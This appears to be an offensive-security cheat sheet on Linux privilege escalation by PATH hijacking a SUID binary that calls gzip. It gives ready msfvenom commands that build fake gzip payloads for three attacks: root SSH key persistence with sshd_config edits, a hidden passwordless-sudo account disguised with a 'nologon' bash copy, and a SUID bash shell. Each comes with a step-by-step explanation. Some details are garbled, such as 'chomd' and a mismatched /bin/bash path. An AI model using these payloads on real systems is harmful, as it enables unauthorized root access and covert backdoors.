SUID -> PATH Exploit Chain
In this example, assume there's a SUID binary that calls gzip by it's relative name, resolving gzip wherever it happens to be in the current user's $PATH variable. We use PrependSetresuid='true' to ensure the binary retains SUID permissions.
SSH Persistence
msfvenom PrependSetresuid='true' AppendExit='true' CMD='[ -w /root ] && if [ ! -d /root/.ssh ]; then mkdir /root/.ssh ; fi && echo y|ssh-keygen -t rsa -b 4096 -f /tmp/.root -C '"'"''"'"' -N '"'"''"'"' >/dev/null 2>&1 && cat /tmp/.root.pub >> /root/.ssh/authorized_keys && chmod 666 /tmp/.root && sed -i.bak -E '"'"'s/#?PubkeyAuthentication.*/PubkeyAuthentication yes/g'"'"' /etc/ssh/sshd_config && systemctl restart ssh' -p linux/x64/exec -f elf -o gzip
- Transfer to the target and place in a globally writable directory (e.g.
/tmp/) chmod +x /tmp/gzipto make the falsegzipbinary globally executableexport PATH="/tmp:$PATH"to causewhich gzipto resolve to/tmp/gzip- Run the SUID binary and execute the shell command
Breaking down the shell command:
[ -w /root ]-- check if/rootdirectory is writable (hacky way to tell if we're root)if [ ! -d /root/.ssh]; then mkdir /root/.ssh ]; then mkdir /root/.ssh ; fi- If
/root/.sshdoes not exist... - Run
mkdir /root/.ssh
- If
echo y|ssh-keygen -t rsa -b 4096 -f /tmp/.root -C '"'"''"'"' -N '"'"''"'"' >/dev/null 2>&1echo y-- answer 'yes' if prompted to overwrite existing key filesssh-keygen...-- create SSH key pair with the specified options
cat /tmp/.root.pub >> /root/.ssh/authorized_keys-- append the SSH public key to trusted keys filechmod 666 /tmp/.root-- make the private key readable, so we can use it to authenticatesed -i.bak -E '"'"'s/#?PubkeyAuthentication.*/PubkeyAuthentication yes/g'"'"' /etc/ssh/sshd_config- Modify
/etc/ssh/sshd_configto allow enable public key authentication if not already - Make a backup at
/etc/ssh/sshd_config.bak
- Modify
systemctl restart ssh-- restart the SSH daemon
New Privileged Account
USERPASS=$(tr -cd '[:alnum:][:punct:]' < /dev/urandom | head -c8; echo)
openssl passwd -6 -salt "$(openssl rand -base64 6)" "$USERPASS" > hash.txt
echo "User password: ${USERPASS}" > random_password.txt
Generate random password via API, salt it, hash it, and save the hash and password to files
msfvenom PrependSetresuid='true' AppendExit='true' CMD="[ -w /root ] && cp /bin/bash /usr/bin/nologon && chmod 755 /usr/bin/nologon && /usr/sbin/useradd -p '$(cat hash.txt)' -G sudo -m -r -s /usr/bin/nologon installer && echo 'installer ALL=(ALL:ALL) NOPASSWD:ALL' >/etc/sudoers.d/installer" -p linux/x64/exec -f elf -o gzip
Breaking down the shell command:
[ -w /root ]-- check if/rootdirectory is writable (hacky way to tell if we're root)cp /bin/bash /usr/bin/nologon-- make a copy of Bash make it look like a nologin shellchmod 755 /usr/bin/nologon-- make it globally executable/usr/sbin/useradd -p '$(cat hash.txt)' -G sudo -m -r -s /usr/bin/nologon installer- Make an account named
installerand make it a system account - Use the password hash generated before
- Add to
sudogroup - Set the shell to
/usr/bin/nologon
- Make an account named
echo 'installer ALL=(ALL:ALL) NOPASSWD:ALL' >/etc/sudoers.d/installer- Give the account password-less
sudoto all commands
- Give the account password-less
SUID Bash
msfvenom PrependSetresuid='true' AppendExit='true' CMD='[ -w /root] && cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash' -p linux/x64/exec -f elf -o gzip
Breaking down the shell command:
[ -w /root ]-- check if/rootdirectory is writable (hacky way to tell if we're root)cp /bin/bash /tmp/bash && chomd 4755 /bin/bash- Root owns the binary
- Add SUID and global execution to the bash copy